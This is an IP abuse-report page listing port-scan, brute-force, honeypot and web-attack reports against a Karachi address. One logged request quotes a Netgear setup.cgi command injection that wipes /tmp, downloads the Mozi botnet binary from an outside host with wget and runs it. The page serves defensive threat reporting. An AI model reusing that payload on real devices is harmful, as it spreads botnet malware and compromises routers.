103.74.20.185
Activity Trending Down
This IP hasn't received reports recently, which causes the score to decay.
- ISP
- Wizard's Network (Pvt.) Ltd.
- Usage Type
- Fixed Line ISP
- ASN
- AS139879
- Domain Name
- wn.com.pk
- Country
- 🇵🇰 Pakistan
- City
- Karachi, Sindh
Abuse Reports
Total reports
61 from
29 distinct
reporters
First reported
Most recent report
Old reports
The most recent abuse report for this IP address is from
.
It is possible that this IP is no longer involved in abusive activities.
| Reporter | IoA Timestamp (UTC) | Comment | Categories |
|---|---|---|---|
| 🇯🇵 VXG-NET |
port=80, indicator_type=code-execution
|
Hacking | |
| Anonymous |
2026-10-23 12:36:01 warning[1947859]: host [103.74.20.185]: unauthorized access attempted: /
|
Port Scan Brute-Force | |
| 🇫🇷 Vaction |
103.74.20.185 - - [23/Oct/2026:01:22:23 +0200] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://172.168.151.45:42430/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 404 400 "-" "-"
|
Hacking Bad Web Bot Web App Attack | |
| 🇫🇷 security.rdmc.fr |
Port Scan Attack proto:TCP src:2454 dst:23
|
Port Scan | |
| Anonymous |
MikroTik Enterprise Honeypot
|
Port Scan | |
| 🇵🇱 Budyn |
|
Bad Web Bot Web App Attack | |
| Anonymous |
denied traffic to a honeypot network. destination port 23.
|
Port Scan Hacking | |
| 🇺🇸 鬼影233 |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
|
Bad Web Bot | |
| 🇺🇸 鬼影233 |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
|
Bad Web Bot | |
| 🇺🇸 LSPCCU |
TSEC Honeypot Network report. Threat score: 95/100. Categories: DDoS Attack, Port Scan, Hacking, Brute-Force, Exploited Host, Web App Attack, SSH. Honeypot: cowrie. Context: Attacker IP from Karachi, Pakistan (AS139879, Galaxy Broadband).
|
DDoS Attack Port Scan Hacking Brute-Force Exploited Host Web App Attack SSH | |
| 🇺🇸 xmission.com |
Blocked by UFW (TCP on 23)
Source port: 62642
TTL: 47
Packet length: 40
TOS: 0x00
This report (for 103.74.20.185) was generated by:
https://github.com/sefinek/UFW-AbuseIPDB-Reporter
|
Port Scan Hacking Brute-Force | |
| 🇫🇷 security.rdmc.fr |
Port Scan Attack proto:TCP src:35928 dst:23
|
Port Scan | |
| Anonymous |
denied Telnet access attempt. destination port 23.
|
Port Scan Brute-Force | |
| 🇮🇹 CoreTech srl |
[DC: IP:151.1.252.27] ntopng alert: blacklisted_server_contact
|
Hacking | |
| 🇩🇪 Admins@FBN |
FW-PortScan: Traffic Blocked srcport=9485 dstport=23
|
Port Scan |
Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown